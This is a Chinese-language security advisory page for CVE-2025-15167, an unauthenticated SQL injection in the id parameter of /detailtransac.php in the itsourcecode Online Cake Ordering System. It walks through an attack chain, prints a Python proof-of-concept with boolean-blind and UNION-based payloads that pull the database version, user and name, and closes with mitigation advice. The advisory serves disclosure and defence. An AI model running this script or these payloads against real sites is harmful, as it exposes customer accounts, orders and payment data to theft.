IPBUF安全漏洞报告
English
CVE-2025-15167 CVSS 7.3 高危

CVE-2025-15167 | itsourcecode Online Cake Ordering System 1.0 SQL注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15167
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Online Cake Ordering System 1.0

相关标签

SQL注入CVE-2025-15167itsourcecodeOnline Cake Ordering SystemWeb应用漏洞高危漏洞远程代码执行数据库泄露

漏洞概述

CVE-2025-15167是itsourcecode Online Cake Ordering System 1.0版本中的一个高危SQL注入漏洞。该系统是一款在线蛋糕订购管理系统,漏洞位于/detailtransac.php文件中的ID参数。由于该参数未进行充分的输入过滤和参数化查询,攻击者可以通过构造恶意SQL语句实现数据库注入攻击。此漏洞具有CVSS评分7.3,属于高危级别,攻击复杂度低且无需认证即可远程利用。攻击者成功利用此漏洞可读取、修改或删除数据库中的敏感信息,包括用户账户、订单数据、支付信息等。漏洞已于2025年12月29日公开披露,野外部存在利用该漏洞的攻击活动。由于该系统通常部署于商业环境中,泄露的用户和订单数据可能涉及个人隐私信息和商业机密,对企业经营和用户权益造成严重影响。建议受影响的用户立即采取修复措施或临时缓解方案。

技术细节

该SQL注入漏洞存在于itsourcecode Online Cake Ordering System 1.0的/detailtransac.php文件中的ID参数。攻击者可通过HTTP请求向该参数注入恶意SQL语句。由于程序未对用户输入进行严格的过滤和验证,且未使用参数化查询,导致用户输入被直接拼接到SQL查询语句中。攻击者可通过UNION SELECT、布尔盲注、时间盲注等技术提取数据库中的敏感信息。在无需任何认证的情况下,攻击者可以直接访问存在漏洞的页面进行攻击。攻击向量为网络级别,攻击者可从互联网远程发起攻击,无需获取任何权限或用户交互。该漏洞影响数据库的机密性、完整性和可用性,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L。攻击者可能利用此漏洞获取管理员权限、窃取用户数据或完全控制数据库服务器。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者通过搜索引擎或漏洞扫描工具发现目标网站使用itsourcecode Online Cake Ordering System 1.0,并识别出/detailtransac.php页面存在
STEP 2
步骤2: 漏洞探测
攻击者访问/detailtransac.php?id=1测试基础功能,然后尝试注入SQL语句如id=1'测试是否存在SQL注入漏洞
STEP 3
步骤3: 注入技术选择
根据服务器响应,攻击者选择合适的注入技术(联合查询注入、布尔盲注或时间盲注)
STEP 4
步骤4: 数据库枚举
利用SQL注入获取数据库版本、当前用户、数据库名称等基本信息
STEP 5
步骤5: 数据提取
通过注入语句提取用户表、订单表等敏感数据,获取用户名、密码、订单信息等
STEP 6
步骤6: 权限提升
尝试提取管理员账户信息或通过SQL注入获取操作系统级访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15167 SQL Injection PoC # Target: itsourcecode Online Cake Ordering System 1.0 # Vulnerability: SQL Injection in /detailtransac.php ID parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in detailtransac.php """ # Construct malicious URL with SQL injection payload vuln_url = f"{target_url}/detailtransac.php?id={payload}" try: response = requests.get(vuln_url, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_boolean_blind_injection(target_url): """ Test for boolean-based blind SQL injection """ # True condition payload true_payload = "1' AND 1=1 -- -" # False condition payload false_payload = "1' AND 1=2 -- -" print(f"[*] Testing boolean blind injection...") true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp and false_resp and true_resp != false_resp: print("[+] Boolean blind injection confirmed!") return True return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database version payload version_payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL -- -" # Current user payload user_payload = "1' UNION SELECT NULL,user(),NULL,NULL,NULL -- -" # Database name payload db_payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL -- -" print("[*] Extracting database information...") version_result = exploit_sqli(target_url, version_payload) if version_result: print(f"[+] Database version information retrieved") return version_result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15167.py <target_url>") print("Example: python cve-2025-15167.py http://target.com/cakeshop") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15167 SQL Injection PoC") # Test vulnerability test_boolean_blind_injection(target) # Extract information extract_database_info(target)

影响范围

itsourcecode Online Cake Ordering System 1.0

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,可采取以下临时缓解措施:1) 在Web应用防火墙中配置SQL注入防护规则,拦截包含SQL关键字的恶意请求;2) 对/detailtransac.php页面进行访问控制,限制为授权用户访问;3) 在反向代理层实施输入验证,过滤单引号、分号等SQL特殊字符;4) 启用数据库审计日志,监控异常查询行为;5) 考虑暂时下线受影响功能,待修复后再重新开放。建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表